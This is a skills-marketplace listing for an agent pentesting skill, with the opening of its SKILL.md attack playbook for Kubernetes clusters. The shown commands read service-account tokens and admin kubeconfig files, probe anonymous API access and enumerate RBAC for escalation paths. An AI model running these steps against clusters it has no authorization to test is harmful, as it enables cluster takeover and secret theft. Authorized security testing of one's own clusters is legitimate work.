Kubernetes Pentesting
Run a structured Kubernetes penetration test covering API access, RBAC, service accounts, etcd, Kubelet, cloud metadata, and admission bypass paths.
Overview
Kubernetes Pentesting is an agent skill for the Ship phase that provides an expert attack playbook for API server, RBAC, workload, and cloud-metadata abuse against Kubernetes clusters.
Install
npx skills add https://github.com/yaklang/hack-skills --skill kubernetes-pentestingWhat is this skill?
- API server anonymous access checks and authenticated enumeration patterns
- RBAC namespace-scoped vs cluster-scoped escalation guidance
- Service account token abuse, etcd secret extraction, and Kubelet API angles
- Cloud IMDS paths for EKS, GKE, and AKS from compromised workloads
- Cross-links to container escape, Linux privesc, lateral movement, and SSRF-to-API routes
- Playbook sections include API server, RBAC, service accounts, etcd, Kubelet, cloud IMDS, admission webhooks, and network
- Related routing lists 5 companion skills for escape, privesc, lateral movement, security bypass, and SSRF
Adoption & trust: 1.1k installs on skills.sh; 980 GitHub stars; 0/3 security scanners passed (skills.sh audits).
What problem does it solve?
You host on Kubernetes but lack a repeatable way to find RBAC gaps, token leaks, and control-plane exposure before attackers do.
Who is it for?
Indie operators running K8s in production who want agent-guided pentest steps during pre-launch review or post-incident verification.
Skip if: Serverless-only deployments with no cluster access model, or builders who only need kubectl deploy tutorials without threat modeling.
When should I use this skill?
Targeting Kubernetes clusters via API server, RBAC, service accounts, etcd, Kubelet, pod escape, cloud metadata, admission webhooks, or registry secrets.
What do I get? / Deliverables
You work through prioritized cluster attack paths with linked follow-on skills for escape, privesc, and lateral movement on confirmed findings.
- Enumerated attack surface map
- Documented RBAC and token abuse findings
- Pivot plan to container-escape or Linux privesc skills when needed
Recommended Skills
Journey fit
Cluster attack playbooks belong in Ship security review before you expose workloads—or after a compromise during Operate hardening. Canonical shelf is ship/security because the playbook enumerates offensive validation of RBAC, control plane exposure, and pod-level escape chains.
How it compares
Offensive cluster playbook—not a Helm hardening chart or managed Kubernetes setup wizard.
Common Questions / FAQ
Who is kubernetes-pentesting for?
Solo and small-team builders responsible for their own Kubernetes security testing and incident response on authorized clusters.
When should I use kubernetes-pentesting?
During Ship security review before go-live, or Operate when validating suspected RBAC or service-account compromise in staging or production.
Is kubernetes-pentesting safe to install?
Treat it as authorized offensive content; check the Security Audits panel on this page and never aim these steps at clusters you do not own or have written permission to test.
SKILL.md
READMESKILL.md - Kubernetes Pentesting
# SKILL: Kubernetes Pentesting — Expert Attack Playbook > **AI LOAD INSTRUCTION**: Expert Kubernetes attack techniques. Covers API server access, RBAC escalation, service account token abuse, etcd secrets extraction, Kubelet API exploitation, cloud IMDS access (EKS/GKE/AKS), admission webhook bypass, and network policy evasion. Base models miss the distinction between namespace-scoped and cluster-scoped RBAC, and overlook Kubelet's unauthenticated API. ## 0. RELATED ROUTING Before going deep, consider loading: - [container-escape-techniques](../container-escape-techniques/SKILL.md) for escaping from a compromised pod to the underlying node - [linux-privilege-escalation](../linux-privilege-escalation/SKILL.md) once on a node for escalating to root - [linux-lateral-movement](../linux-lateral-movement/SKILL.md) for pivoting between nodes - [linux-security-bypass](../linux-security-bypass/SKILL.md) when Pod Security Standards or seccomp profiles restrict your actions - [ssrf-server-side-request-forgery](../ssrf-server-side-request-forgery/SKILL.md) when exploiting SSRF to reach the K8s API or cloud metadata --- ## 1. K8S API SERVER ACCESS ### 1.1 Anonymous Access Check ```bash # Check if anonymous auth is enabled (default: limited in modern clusters) curl -sk https://APISERVER:6443/api/v1/namespaces curl -sk https://APISERVER:6443/version curl -sk https://APISERVER:6443/api curl -sk https://APISERVER:6443/apis # Common API server ports: # 6443 — secure API (default) # 8443 — alternative secure # 8080 — insecure API (legacy, no auth needed) ``` ### 1.2 Token-Based Authentication (from inside pod) ```bash TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token) CACERT=/var/run/secrets/kubernetes.io/serviceaccount/ca.crt NAMESPACE=$(cat /var/run/secrets/kubernetes.io/serviceaccount/namespace) APISERVER="https://kubernetes.default.svc" curl -s --cacert $CACERT -H "Authorization: Bearer $TOKEN" \ $APISERVER/api/v1/namespaces/$NAMESPACE/pods ``` ### 1.3 Certificate / Kubeconfig Authentication ```bash # Common kubeconfig locations: ~/.kube/config, /etc/kubernetes/admin.conf, # /etc/kubernetes/kubelet.conf, /var/lib/kubelet/kubeconfig kubectl --kubeconfig=/etc/kubernetes/admin.conf get pods --all-namespaces ``` --- ## 2. RBAC ENUMERATION ### 2.1 Self-Permission Check ```bash # What can I do? kubectl auth can-i --list kubectl auth can-i --list -n kube-system # Specific checks kubectl auth can-i create pods kubectl auth can-i create pods -n kube-system kubectl auth can-i get secrets kubectl auth can-i '*' '*' # Full cluster admin? # Via API (from inside pod): curl -s --cacert $CACERT -H "Authorization: Bearer $TOKEN" \ $APISERVER/apis/authorization.k8s.io/v1/selfsubjectrulesreviews \ -H "Content-Type: application/json" \ -d "{\"apiVersion\":\"authorization.k8s.io/v1\",\"kind\":\"SelfSubjectRulesReview\",\"spec\":{\"namespace\":\"$NAMESPACE\"}}" ``` ### 2.2 Role and ClusterRole Enumeration ```bash kubectl get roles --all-namespaces && kubectl get clusterroles kubectl describe clusterrole CLUSTER_ROLE_NAME # Find overprivileged roles (wildcard verbs/resources): kubectl get clusterroles -o json | python3 -c 'import sys,json;data=json.load(sys.stdin);[print(f"OVERPRIVILEGED: {r[\"metadata\"][\"name\"]}") for r in data["items"] for rule in r.get("rules",[]) if "*" in rule.get("verbs",[]) or "*" in rule.get("resources",[])]' ``` ### 2.3 Dangerous RBAC Permissions | Permission | Risk | Escalation Path | |---|---|---| | `pods/exec` | **Critical** | Exec into any pod (access secrets, tokens) | | `pods` (create) | **Critical** | Create privileged pod → node access | | `secrets` (get/list) | **Critical** | Rea